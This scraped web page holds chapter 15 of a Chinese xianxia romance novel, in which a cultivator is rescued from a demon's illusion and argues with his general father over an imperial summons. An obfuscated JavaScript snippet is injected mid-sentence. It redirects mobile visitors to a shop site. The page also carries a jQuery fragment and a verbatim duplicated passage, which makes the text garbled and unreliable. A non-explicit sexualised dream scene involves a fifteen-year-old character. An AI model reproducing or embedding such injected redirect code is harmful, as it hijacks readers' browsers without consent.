默认冷灰
24号文字
方正启体

15. 他归我管

作者:谢猴狸本书字数:K更新时间:
    四目相对。


    除却幻境里坦诚相对的情状之外,两个人都心情复杂。


    晏推松终于透过那双无情道的眼睛,看到了疯狂褪去后的复杂情绪。


    像是爱,又像是不甘,还有一丝愧疚。


    晏推松不要利怀雪的愧疚,于是说:“是鼠妖。它还没死。他在我妹……它附在晏谷身上。”


    下一瞬间,幻境就被利怀雪磅礴的剑气破除。


    晏推松再次出现在那顶帐篷里,甚至还有些眩晕。


    鼠妖就在眼前,惊讶地说:“这么快就挣脱出来了?那个幻境你们俩应该都喜欢啊。”


    晏推松握紧拳头,指节泛白。


    被看轻了。


    那只妖的语气,好像他和利怀雪是什么可以被随意摆弄的东西。好像那个梦境里发生的一切,不过是它随手捏来的一场戏。


    可那分明是利怀雪的梦。


    利怀雪的梦里,到底是谁?


    这个疑问扎在晏推松心口某个说不清的地方。有点疼,有点涩,还有点他不敢细想的、奇怪的……什么。


    剑气破空而至。


    利怀雪的身影从帐篷外掠入,快得像一道光。他周身剑气凛然,所过之处空气都仿佛凝成了冰,晏推松甚至没看清他是如何出手的——只看见那柄从不轻易出鞘的剑,已经抵在了鼠妖眉心。


    鼠妖甚至来不及躲。


    剑尖入肉半寸,黑血渗出。


    “慢——”


    晏推松的声音还没落地,鼠妖的身体已经开始溃散。


    但就在彻底消散的前一瞬,它拼尽最后的力气,一把将晏谷推向了晏推松怀里。


    小女孩软软地倒下来,脸色苍白,呼吸微弱,但没有死。


    鼠妖的身体扭曲、变形,那张狰狞的鼠脸渐渐模糊,最后凝聚成一张人的面孔——


    是母亲。


    是中秋宴一别后,晏推松再也没有见过的母亲。


    那张苍白的脸看着他,嘴唇动了动,声音轻得像一片羽毛:“其实我……真的很想把你……留在身边的……”


    话没说完,化作一缕青烟,散了。


    帐篷里一片死寂。


    晏推松抱着昏迷的晏谷,一动不动。


    母亲的幻影消失了,可那句话还在耳边回响——“真的很想把你留在身边”。


    那为什么还是把我送走了?


    帘子猛地被掀开。晏崇冲进来,目光在帐篷里一扫,落在晏谷身上。他快步上前,从晏推松怀里接过女儿,动作之快甚至带着几分急切。


    “谷儿。”他唤道,低头检查她的呼吸和脉搏。


    然后才抬起头,看了晏推松一眼。


    那一眼太快了,快得让晏推松几乎以为是自己的错觉。


    但他看见了——看见晏崇确认妹妹无事后,那瞬间松弛下来的表情。


    像是才想起来,这里还有一个受伤的儿子。


    晏推松想起刚才鼠妖——不,母亲最后的样子。想起她说那句话时的眼神,那是他记忆里真正的母亲才会有的眼神。


    她真的想把自己留在身边吗?


    那为什么没有?


    为什么送走了他?晏崇得以征战四方的原因,不正是因为“晏崇没有孩子”?


    所以,这是晏谷对外宣称是“叔父女儿”的原因吗?


    这些问题堵在喉咙口,堵得他喘不过气来。


    晏崇抱着晏谷,动作轻柔地把她放到一旁的榻上,小心翼翼地给她盖好被子。


    那么温柔。


    然后晏崇转身对利怀雪鞠了一躬,说:“利掌门,刚刚整个营地都察觉到一股凛然的剑气,大地也有震动之意。我看见您来了这个帐篷,可是发生了什么?”


    利怀雪眼角余光瞥着晏推松,少年脸颊通红,许是刚从那个幻境中出来导致的。但眼神死寂,不知想到了什么,孤独难过至极。


    利怀雪收敛神色,看不出喜悲地说:“鼠妖袭击晏推松,我已将鼠妖斩杀。”


    晏崇这才看向晏推松,问到:“松儿,你受伤了没有?鼠妖为何找到了你?”


    晏推松坐在木板床上,手指紧紧地攥着狐裘,忽然想问清楚一件事:“父亲,我从司天楼过来,你高兴吗?”


    晏推松目光如炬,坚定又颓然地要一个答案。


    晏崇愣了一下,七年之后,他居然有些不了解儿子了。儿子什么时候拥有了这样的眼神,又是什么时候变得不那么怕痛的?


    晏崇移开目光,说:“长老们同意你过来吗?司天不司世,你来这里,会改变什么吗?”


    这好像是一个意料之中的答案。晏推松发现,自己居然没有想哭。


    他松开狐裘,用手掌将之抹平,说:“现在鼠妖被斩杀,对大周朝来说是件好事。这就是我带来的改变。”


    晏崇眉头紧蹙,道:“可是这件事情改变了既定的轨迹,往后大周朝的命数会不会因此动荡?会不会带来更坏的结果?”


    “已经动了,就收不回来了。覆水难收。至于好坏——父亲比我更懂行军打仗,应该知道,有时候一仗打下去,是赢是输,也得打了才知道。”晏推松的声音平得没有一丝起伏。


    利怀雪多看晏推松一眼,这个语气……倒是跟近五十年来里岳为轻的语气很像。


    ·


    利怀雪这一剑,将鼠妖真正杀死。


    听说那一刻,所有士兵都看到了硕鼠们化成黑烟的场景,同时营地方向地动山摇,有一道剑光直冲云霄,周边敌国的百姓和士兵都看到了。


    困扰大周朝军队那么多年的硕鼠之灾,居然就这样结束了。


    接下来的半个月,大周军队势如破竹。


    先是连克三城,敌军望风而降;再破天险雄关,剑光所指之处,敌方修士尚未出手便已胆寒。到了第五座城池时,守将连夜弃城而逃,城中百姓竟开门相迎。


    “那道剑光非凡人能及,是天意啊。大周必胜!”这样的传言不止出现在大周朝的军队,也出现在敌军俘虏的口中。


    晏推松依然在养伤,他发现从认识利怀雪之后,自己好像一直带着伤。


    那一天后,利怀雪没有再离开过晏推松的帐篷,但两人也并无相处,利怀雪始终闭目打坐,晏推松能够感觉到,利怀雪身上的气息很乱,或许正身处某个岔路口。


    晏推松也不自在,幻境中的场景时常出现在他梦中,有时候甚至比幻境之中要更加……


    醒来后,晏推松总能一眼看见利怀雪。他猜测利怀雪是为了保护自己的安全,才常伴左右,这是他为岳为轻温洗灵脉的“报酬”。


    有一次,梦里实在过于激烈,晏推松醒过来时心跳很快,几乎在耳边震响。


    他被魇住,整个人望着天花板懊恼出神。


    下一瞬间,利怀雪毫无波动的音色响起:“你梦见什么?你已有心魔?”


    那声音毫无杂质,跟一块玉石似地没有温度。偏偏晏推松还在余韵之中,轻微地一抽——身体还没从某种状态中恢复过来的,因而不受控制的战栗。


    他僵住了。


    利怀雪也顿住了。


    空气里安静得能听见帐篷外的风声。


    晏推松不用看也知道自己现在的样子:头发乱了,脸颊泛着不正常的红,中衣领口歪斜着露出半截锁骨,还有……还有那个最要命的、根本藏不住的痕迹。


    他垂下眼,掀开被子,抓起搭在床边干净的衣服,抱在怀里往外走。


    脚步有些虚浮,但他尽量让自己走得稳一些。


    掀开帐帘前,他听见自己的声音,闷闷的,带着点还没散尽的哑:


    “我去洗衣服。”


    利怀雪没有作声,仿佛他根本就不在帐篷里。


    晏推松抱着衣被,慢吞吞地走到河边。


    河边的水原本是不能喝的,但自从鼠妖消灭后,这水也清澈起来,烧开之后可以饮用了。


    晏推松看见自己的脸倒映在河里,红扑扑的脸,眼神也迷离。


    太尴尬了,晏推松有一种自己在骚扰长辈的难堪。刚刚利怀雪看见的就是这样子的自己吗?


    晏推松刚刚把手伸到河里去,许良工不知从哪里冒了出来,抓着他的袖子说:“你要洗衣服吗?我来帮你洗,这水太凉了。”


    晏推松:“?不凉啊。”


    许良工说:“你是晏将军的儿子,洗衣服这种事情不该你亲自做,你叫我就好了呀。”


    晏推松知道衣服上有见不得人的痕迹,连忙抢了过来,说:“我自己来。去了司天楼之后,衣服都是我自己洗的。”


    看许良工依然想要抢衣服的动静,晏推松赶紧补充了一句:“司天楼里有规矩,天将降大任于斯人也,必先劳其筋骨。”


    许良工听不懂,半信半疑:“真的是每日操练?”


    晏推松连忙点头:“当然。”


    许良工:“好吧。”


    晏推松松了一口气,不知道许良工突然犯什么病,自己刚来的时候,许良工还经常让自己给他递一下工具。


    许良工从口袋里掏出一个护身符,说:“你看,这是晏将军的小像。”


    这是一个削成的小木雕,上面除了晏崇的样貌之外,还写着晏崇大将军几个字。


    晏推松觉得奇怪,问道:“你刻这个干什么?张中将看见了,得罚你了。”张中将好不容易从晏崇的手下变成手上,这几年耍了不少威风,也不喜欢看见士兵们对晏崇尊敬,更别提这个有崇敬象征意味的雕像了。


    许良工说:“你不知道吗?张中将已经死啦。”


    晏推松心里一跳,说:“死了?”


    许良工说:“鼠妖死后,硕鼠也都消失了。粮草再也不短缺,大家吃得饱饭,自然打得赢仗。张中将畏惧晏将军,军中将士都知道。但鼠妖之死,是晏将军的功劳。这下子谁也没有办法了。张中将是‘皇帝的中将’,不是将士的中将。现在我们可不会听他的。前几日他带队越过边境,意外被敌方俘虏杀害。后来还是晏将军带队,方才凯旋。”


    晏推松听明白了:“现在张中将已经死了,而且军中将士都不听他的号令。”


    许良工想了想:“差不多吧。”


    晏推松:“那他带兵前往敌境,真的是意外被俘虏吗?”


    许良工:“……这。”


    晏推松:“而且你刚刚说,鼠妖之死是晏将军的功劳,这是什么意思?鼠妖不是利怀雪杀的么?”


    何况,鼠妖一直附身在晏崇的女儿身上……


    许良工:“鼠妖的确是被利掌门诛杀。可若不是你与利掌门的关系,他怎么会出手?听说利掌门修的是‘那种’剑道,把人当猪狗的!”


    晏推松无奈道:“无情道不是这个意思。天地不仁,以万物为刍狗,不是把人当成猪狗……”


    许良工:“可这阵子我们输了那么多战斗,死了那么多人,利掌门也从不在意。他只在意你,而你是晏将军的儿子。”


    “……”晏推松不知道该如何解释。可平心而论,他居然也可以理解将士们的心情。


    许良工说:“在晏将军的带领下,我们战无不胜。大家都做了晏将军的木像待在身上,战斗时能够得到庇佑。将军是天命所归!”


    许良工的脸上,隐隐约约也出现了某些狂热。


    这让晏推松本能感到不妙。


    连洗好的衣服被子都来不及拿走,他匆匆离开:“父亲在哪里?我去找他。”


    循着许良工指出来的方向,晏推松很快找到了那顶帐篷。


    正遇到闹剧。


    有人跪在帐前,长跪不起。


    晏崇用手拖着对方的手臂,道:“你起来。”


    那人道:“晏将军,除非您愿意执掌帅印,否则我绝不起!”


    晏崇道:“帅印是天子授予,我不过代掌兵权,行军打仗我可以,执掌帅印不行。”


    那人抬起头,眼中是狂热的忠诚:“您是边军认的将军,不是朝廷封的将军。七年前您守北境,我们跟着您。如今您回来了,我们还跟着您。帅印是谁的不重要,我们只认您。”


    晏崇脸色沉下来:“荒唐。我只认天子的帅印,你们也只该认这个。起来。”


    没有人起来。


    帐前黑压压跪了一片。


    晏崇环顾四周,目光所及之处,每一张脸都在无声地请


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313401|198911||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    求。他的眉头拧成死结,正要再说些什么,余光瞥见了站在人群边缘的晏推松。


    他顿了顿,道:“之后再议。”


    转身掀帘进了帐篷。


    晏推松跟着进了帐篷。


    进去之后第一句话:“父亲,外面那些人……”


    晏崇没有说话。


    他站在地图前,望着那一道道被攻克的城池标记,眉头却越皱越深。


    他麾下的军队已成虎狼之师,可他知道,那些士兵把他当成了战无不胜的神明,而非血肉之躯的凡人。


    赢得太快了。快得他来不及想清楚,这场胜利究竟是人力,还是那道剑光带来的余威。


    晏崇说:“利掌门这几日闭门不出,他对现在发生的一切有什么看法吗?”


    晏推松想起那张无情道的脸。


    说:“应该没有。”


    晏崇长叹一口气,说:“那一剑之后,大周朝的未来已经被改变了。鼠妖是利掌门所杀,但他不愿意承担这个虚名。因为那一剑,现在许多人都认为姓晏的是天命所归,受之有愧。松儿,你说,这对大周来说,到底是好是坏?”


    晏推松说:“战争如果很快结束,很多人就不会死。”


    晏崇说:“你是说,这是止战之战。”


    晏推松似有所察,问:“父亲……你好像不太想打下去?”


    “打得太顺,也不是好事。”晏崇说,语气平得像在说今日天气,“后方有人睡不着觉了。”


    睡不着觉的那个,当然是姓赵的皇帝。


    晏推松知道,晏崇现在有些疲惫,因为他已经预料到即将到来的争端。这种洞见似乎并不需要司天楼的占卜之术。


    但晏推松不知道,晏崇是因为战争而疲惫,还是因为要跟皇帝反目而疲惫。


    晏推松一时之间没有说话,他想起来那个中秋宴上,父亲为民请战。那一天的父亲,和这一天避战的父亲,已经大不一样了。


    .


    晏崇的预感没有错,赵议的确很快就坐不住了。


    但与晏推松推测的不一样,赵议并没有派兵攻打,而是发了一道诏令。


    一来盛赞晏崇战功卓著,恢复大将军职位;二来太后大寿,邀请晏崇班师回京。


    晏推松对此的评价是:又来?


    当初晏崇在外征战,就是被这样拉回帝都的。


    更让晏推松无语的是,晏崇居然真的打算回去。


    接到飞鸽传信那一天,其他的几个将领也都在场。


    同晏推松一样,他们都不赞成回京。


    “将军,当年咱们就是这么被叫回去的。一回京,兵权就交了,仗也打不成了。”


    “边关还没彻底平定,这时候班师,前面的仗白打了。”


    “太后大寿,派个副将回去贺寿就行了,何须您亲自去?”


    晏崇听着,没有说话。等他们都说完,他才抬起眼,看向帐外那些还跪着不肯走的士兵们。


    “正因为跪在外面的人太多,”他说,“我才不得不回。”


    见劝不动,有急性子说:“我说白了,他赵议除了姓赵,算个什么东西?更何况,这姓赵的江山,三百年前本就是晏家打下来的!只要将军你愿意——”


    最后半句话没有来得及说出口,这人就被晏崇一巴掌扇到了地上。


    晏崇拿佩剑指着那人胸口,说:“再说这种大不敬的话,杀无赦。”


    闹腾的场景安静了下来,众人脸色各异,不知在想什么。


    晏推松看到这里,忍不住想要召唤星图,来算一算赵议在帝都那头到底准备了什么。


    但他刚刚抬起手腕,利怀雪的视线就跟了过来。


    鲸饮的剑鞘抵着他的手腕,不由分说。


    晏推松下意识看过去,又看见一个淡漠如剑的利怀雪。


    利怀雪说:“不可。”


    两人动静很小,对视之间确有一种很特殊的气场。


    晏昊空注意到这两人动静,忽然想起来了,问晏推松:“松儿,你在司天楼,可以算出阴谋诡计,是吗?”


    很多人都看了过来。


    有人喜上眉梢,道:“对啊!推松仙人是修道中人,算无遗策。倒不如叫他来算一算,这天下未必一定是姓赵的天下?又或者算一算,如果这次班师回京,朝中会变成什么样子。”


    利怀雪自带一股谪仙的气质,是天地之下的修道第一人。站在他旁边,晏推松虽然是十五岁单薄的身体,也仿佛有了某种不可侵犯的神性。


    晏推松看向晏崇。


    要算么?晏崇想知道赵议的打算吗?


    众人的目光在两人之间来回。晏崇的嘴唇动了动,还没开口,利怀雪的声音先落了下来——


    “他算不了。”


    很淡的三个字,却让帐内安静了一瞬。


    有人不解:“利掌门,推松仙人不是司天楼的弟子吗?”


    利怀雪没有看那人,目光仍落在晏推松身上:“他灵力未复,强算伤身。况且——”他顿了顿,语气依旧平淡,“他在养伤期间,归我管。”


    打算吗?


    众人的目光在两人之间来回。晏崇的嘴唇动了动,还没开口,利怀雪的声音先落了下来——


    “他算不了。”


    很淡的三个字,却让帐内安静了一瞬。


    有人不解:“利掌门,推松仙人不是司天楼的弟子吗?”


    利怀雪没有看那人,目光仍落在晏推松身上:“他灵力未复,强算伤身。况且——”他顿了顿,语气依旧平淡,“他在养伤期间,归我管。”


    最后三个字说得太自然了,自然到晏推松愣了一下才反应过来。


    众人的目光变得有些微妙。有人讪讪地“哦”了一声,有人识趣地移开视线,还有人悄悄看向晏崇——这位当爹的,此刻也只是沉默着,没有反驳。


    晏推松张了张嘴,想说点什么,但对上利怀雪那双毫无波澜的眼睛,又咽了回去。


    他不明白利怀雪为什么要这么说。


    但他还是放下了手腕。


    利怀雪的剑鞘从他腕间移开,那一小块被抵过的皮肤,莫名其妙地有些发烫。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)